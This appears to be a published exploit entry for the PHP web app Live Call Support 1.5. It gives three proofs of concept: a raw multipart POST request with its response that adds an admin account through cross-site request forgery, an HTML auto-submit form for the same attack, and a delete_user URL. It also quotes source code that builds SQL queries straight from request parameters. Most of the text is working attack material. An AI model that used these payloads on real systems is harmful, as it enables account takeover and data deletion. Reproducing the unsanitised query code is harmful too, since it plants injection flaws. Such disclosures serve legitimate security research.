1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 |
# Exploit Title: Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin) # Dork: N/A # Date: 2019-01-13 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://ranksol.com/ # Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799 # Version: 1.5 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/server.php # #/[PATH]/server.php #213 case "save_user":{ #214 #215 if($_REQUEST['password']==$_REQUEST['confirm_password']){ #216 #217 if($_REQUEST['uid']==''){ #218 #219 $sql = "insert into users #220 #221 ( #222 #223 name, #224 #225 phone_number, #226 #227 email, #228 #229 password, #230 #231 type #232 #233 ) #234 #235 values #236 #237 ( #238 #239 '".$_REQUEST['agent_name']."', #240 #241 '".$_REQUEST['agent_number']."', #242 #243 '".$_REQUEST['email_address']."', #244 #245 '".$_REQUEST['password']."', #246 #247 '".$_REQUEST['role']."' #248 #249 )"; #250 #251 }else{ #252 #253 $sql = "update users set POST /[PATH]/server.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------16460805410548 Content-Length: 879 Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------16460805410548: undefined Content-Disposition: form-data; name="agent_name" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="agent_number" 1234 -----------------------------16460805410548 Content-Disposition: form-data; name="email_address" efe@omerefe.com -----------------------------16460805410548 Content-Disposition: form-data; name="role" 1 -----------------------------16460805410548 Content-Disposition: form-data; name="password" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="confirm_password" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="uid" -----------------------------16460805410548 Content-Disposition: form-data; name="cmd" save_user -----------------------------16460805410548-- HTTP/1.1 302 Found Date: Sun, 13 Jan 2019 11:45:08 GMT Server: Apache X-Powered-By: PHP/7.1.25 Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding location: users.php Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/server.php # <html> <body> <form method="post" action="http://localhost/[PATH]/server.php" enctype="multipart/form-data"> <div class="form-group"> <label>Name</label> <input name="agent_name" value="" type="text"> </div> <div class="form-group"> <label>Phone Number</label> <input name="agent_number" value="" type="text"> </div> <div class="form-group"> <label>Email Address</label> <input name="email_address" value="" type="text"> </div> <div class="form-group"> <label>Role</label> <select name="role" class="form-control"> <option value="2">Consultant</option> <option value="1">Admin</option> </select> </div> <div class="form-group"> <label>Password</label> <input name="password" value="" type="text"> </div> <div class="form-group"> <label>Confirm Password</label> <input name="confirm_password" type="text"> </div> <div class="form-group"> <input name="uid" value="" type="hidden"> <input name="cmd" value="save_user" type="hidden"> <input value="Save" class="btn btn-primary" type="submit"> <input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button"> </div> </form> </body> </html> # POC: # 3) # http://localhost/[PATH]/server.php?cmd=delete_user&userID=[DELETE_ID] # #/[PATH]/server.php #191 case "delete_user":{ #192 #193 $userID = $_REQUEST['userID']; #194 #195 $res = mysqli_query($link,"delete from users where id='".$userID."'"); #196 #197 if($res){ |